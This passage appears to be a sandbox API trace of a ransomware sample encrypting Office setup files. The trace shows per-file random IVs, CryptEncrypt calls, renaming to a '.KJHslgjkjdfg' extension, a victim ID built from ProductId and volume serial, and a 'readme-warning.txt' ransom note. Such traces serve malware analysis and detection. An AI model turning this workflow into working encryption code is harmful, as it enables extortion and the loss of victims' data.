pbData=0x2c4b30*, pdwDataLen=0x290ed48*=0x30) returned 1 [0144.095] CryptDestroyKey (hKey=0x2c6420) returned 1 [0144.095] WriteFile (in: hFile=0x13c, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290ed60*=0x30, lpOverlapped=0x0) returned 1 [0144.095] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed68*, lpNumberOfBytesWritten=0x290ed60*=0x4, lpOverlapped=0x0) returned 1 [0144.095] WriteFile (in: hFile=0x13c, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290ed60*=0x10, lpOverlapped=0x0) returned 1 [0144.095] WriteFile (in: hFile=0x13c, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290ed60*=0x80, lpOverlapped=0x0) returned 1 [0144.095] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed88 | out: lpNewFilePointer=0x0) returned 1 [0144.095] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed78*, lpNumberOfBytesWritten=0x290ed60*=0x8, lpOverlapped=0x0) returned 1 [0144.095] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0144.095] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0144.095] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.096] ReadFile (in: hFile=0x13c, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x5061, lpNumberOfBytesRead=0x290ed6c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290ed6c*=0x5061, lpOverlapped=0x0) returned 1 [0144.097] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x5070, dwBufLen=0x5070 | out: pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x5070) returned 1 [0144.097] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.097] WriteFile (in: hFile=0x13c, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x5070, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290ed60*=0x5070, lpOverlapped=0x0) returned 1 [0144.097] CryptDestroyKey (hKey=0x2c6420) returned 1 [0144.097] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x5134, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.097] SetEndOfFile (hFile=0x13c) returned 1 [0144.100] GetProcessHeap () returned 0x2a0000 [0144.100] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0144.100] GetProcessHeap () returned 0x2a0000 [0144.100] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0144.100] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml.kjhslgjkjdfg")) returned 1 [0144.109] CloseHandle (hObject=0x13c) returned 1 [0144.109] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x468a2b70, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x83258520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="VisiorWW.XML", cAlternateFileName="")) returned 1 [0144.109] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0144.110] GetProcessHeap () returned 0x2a0000 [0144.110] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0144.110] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0144.110] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed80 | out: lpNewFilePointer=0x0) returned 1 [0144.110] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed90*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed90*, lpNumberOfBytesWritten=0x290ed60*=0xd, lpOverlapped=0x0) returned 1 [0144.113] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0144.113] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0144.113] GetProcessHeap () returned 0x2a0000 [0144.113] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0144.113] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290ed48*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290ed48*=0x40) returned 1 [0144.113] CryptDestroyKey (hKey=0x2c6420) returned 1 [0144.113] WriteFile (in: hFile=0x13c, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290ed60*=0x40, lpOverlapped=0x0) returned 1 [0144.113] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed68*, lpNumberOfBytesWritten=0x290ed60*=0x4, lpOverlapped=0x0) returned 1 [0144.113] WriteFile (in: hFile=0x13c, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290ed60*=0x10, lpOverlapped=0x0) returned 1 [0144.113] WriteFile (in: hFile=0x13c, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290ed60*=0x80, lpOverlapped=0x0) returned 1 [0144.113] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed88 | out: lpNewFilePointer=0x0) returned 1 [0144.114] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed78*, lpNumberOfBytesWritten=0x290ed60*=0x8, lpOverlapped=0x0) returned 1 [0144.114] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0144.114] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0144.114] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.114] ReadFile (in: hFile=0x13c, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2213, lpNumberOfBytesRead=0x290ed6c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290ed6c*=0x2213, lpOverlapped=0x0) returned 1 [0144.115] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x2220, dwBufLen=0x2220 | out: pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x2220) returned 1 [0144.115] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.115] WriteFile (in: hFile=0x13c, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2220, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290ed60*=0x2220, lpOverlapped=0x0) returned 1 [0144.115] CryptDestroyKey (hKey=0x2c6420) returned 1 [0144.115] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x22f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.115] SetEndOfFile (hFile=0x13c) returned 1 [0144.118] GetProcessHeap () returned 0x2a0000 [0144.118] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0144.118] GetProcessHeap () returned 0x2a0000 [0144.118] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0144.118] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml.kjhslgjkjdfg")) returned 1 [0144.119] CloseHandle (hObject=0x13c) returned 1 [0144.125] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x468a2b70, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x83258520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="VisiorWW.XML", cAlternateFileName="")) returned 0 [0144.125] GetProcessHeap () returned 0x2a0000 [0144.125] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0144.125] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0144.125] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290eb98 | out: pbData=0x2bf570, pdwDataLen=0x290eb98) returned 1 [0144.125] CryptDestroyKey (hKey=0x2c6420) returned 1 [0144.125] GetProcessHeap () returned 0x2a0000 [0144.125] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0144.125] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0144.125] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290eb98 | out: pbData=0x2bf5b8, pdwDataLen=0x290eb98) returned 1 [0144.126] CryptDestroyKey (hKey=0x2c6420) returned 1 [0144.126] GetProcessHeap () returned 0x2a0000 [0144.126] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f79f8 [0144.126] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0144.126] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f79f8, pdwDataLen=0x290eb98 | out: pbData=0x2f79f8, pdwDataLen=0x290eb98) returned 1 [0144.126] CryptDestroyKey (hKey=0x2c6420) returned 1 [0144.126] GetProcessHeap () returned 0x2a0000 [0144.126] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0144.126] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0144.126] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290e778 | out: pbData=0x2bf528, pdwDataLen=0x290e778) returned 1 [0144.126] CryptDestroyKey (hKey=0x2c6420) returned 1 [0144.126] GetProcessHeap () returned 0x2a0000 [0144.126] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0144.126] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0144.126] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e778 | out: pbData=0x2c1640, pdwDataLen=0x290e778) returned 1 [0144.126] CryptDestroyKey (hKey=0x2c6420) returned 1 [0144.126] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290e774 | out: phkResult=0x290e774*=0x13c) returned 0x0 [0144.126] RegQueryValueExA (in: hKey=0x13c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290e780, lpcbData=0x290e77c*=0x400 | out: lpType=0x0, lpData=0x290e780*=0x30, lpcbData=0x290e77c*=0x18) returned 0x0 [0144.126] RegCloseKey (hKey=0x13c) returned 0x0 [0144.126] GetProcessHeap () returned 0x2a0000 [0144.126] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0144.127] GetProcessHeap () returned 0x2a0000 [0144.127] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0144.127] GetProcessHeap () returned 0x2a0000 [0144.127] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0144.127] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e4e8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0144.127] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e54c | out: pbData=0x2c1640, pdwDataLen=0x290e54c) returned 1 [0144.127] CryptDestroyKey (hKey=0x2c6420) returned 1 [0144.127] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290e550, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0144.127] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290e548, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290e548*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0144.127] GetProcessHeap () returned 0x2a0000 [0144.127] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0144.127] wsprintfA (in: param_1=0x290e797, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0144.127] wsprintfA (in: param_1=0x290eba4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0144.127] GetProcessHeap () returned 0x2a0000 [0144.127] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f7dc0 [0144.127] wsprintfW (in: param_1=0x290db74, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\readme-warning.txt") returned 105 [0144.127] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0144.138] WriteFile (in: hFile=0x13c, lpBuffer=0x2f7dc0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290db70, lpOverlapped=0x0 | out: lpBuffer=0x2f7dc0*, lpNumberOfBytesWritten=0x290db70*=0x3b3, lpOverlapped=0x0) returned 1 [0144.139] CloseHandle (hObject=0x13c) returned 1 [0144.139] GetProcessHeap () returned 0x2a0000 [0144.139] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f79f8 | out: hHeap=0x2a0000) returned 1 [0144.140] GetProcessHeap () returned 0x2a0000 [0144.140] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f7dc0 | out: hHeap=0x2a0000) returned 1 [0144.140] GetProcessHeap () returned 0x2a0000 [0144.140] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0144.140] GetProcessHeap () returned 0x2a0000 [0144.140] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0144.140] FindClose (in: hFindFile=0x2c63e0 | out: hFindFile=0x2c63e0) returned 1 [0144.141] GetProcessHeap () returned 0x2a0000 [0144.141] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f7730 | out: hHeap=0x2a0000) returned 1 [0144.141] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="Word.en-us", cAlternateFileName="WORD~1.EN-")) returned 1 [0144.141] GetProcessHeap () returned 0x2a0000 [0144.141] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc6) returned 0x2ed148 [0144.141] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\*.*", lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName=".", cAlternateFileName="")) returned 0x2c63e0 [0144.142] GetProcessHeap () returned 0x2a0000 [0144.142] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ed148 | out: hHeap=0x2a0000) returned 1 [0144.142] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="..", cAlternateFileName="")) returned 1 [0144.142] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe076d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x978, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0144.142] GetProcessHeap () returned 0x2a0000 [0144.142] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x2c8) returned 0x2f7730 [0144.142] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0144.143] GetProcessHeap () returned 0x2a0000 [0144.143] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0144.143] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0144.143] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed80 | out: lpNewFilePointer=0x0) returned 1 [0144.143] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed90*, lpNumberOfBytesWritten=0x290ed60*=0x8, lpOverlapped=0x0) returned 1 [0144.146] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0144.146] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0144.146] GetProcessHeap () returned 0x2a0000 [0144.146] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0144.146] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290ed48*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290ed48*=0x30) returned 1 [0144.146] CryptDestroyKey (hKey=0x2c6420) returned 1 [0144.146] WriteFile (in: hFile=0x13c, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290ed60*=0x30, lpOverlapped=0x0) returned 1 [0144.146] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed68*, lpNumberOfBytesWritten=0x290ed60*=0x4, lpOverlapped=0x0) returned 1 [0144.146] WriteFile (in: hFile=0x13c, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290ed60*=0x10, lpOverlapped=0x0) returned 1 [0144.146] WriteFile (in: hFile=0x13c, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290ed60*=0x80, lpOverlapped=0x0) returned 1 [0144.147] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed88 | out: lpNewFilePointer=0x0) returned 1 [0144.147] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed78*, lpNumberOfBytesWritten=0x290ed60*=0x8, lpOverlapped=0x0) returned 1 [0144.147] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0144.147] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0144.147] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.147] ReadFile (in: hFile=0x13c, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x978, lpNumberOfBytesRead=0x290ed6c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290ed6c*=0x978, lpOverlapped=0x0) returned 1 [0144.147] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x980, dwBufLen=0x980 | out: pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x980) returned 1 [0144.147] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.147] WriteFile (in: hFile=0x13c, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290ed60*=0x980, lpOverlapped=0x0) returned 1 [0144.147] CryptDestroyKey (hKey=0x2c6420) returned 1 [0144.147] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xa44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.147] SetEndOfFile (hFile=0x13c) returned 1 [0144.150] GetProcessHeap () returned 0x2a0000 [0144.150] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0144.150] GetProcessHeap () returned 0x2a0000 [0144.150] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: 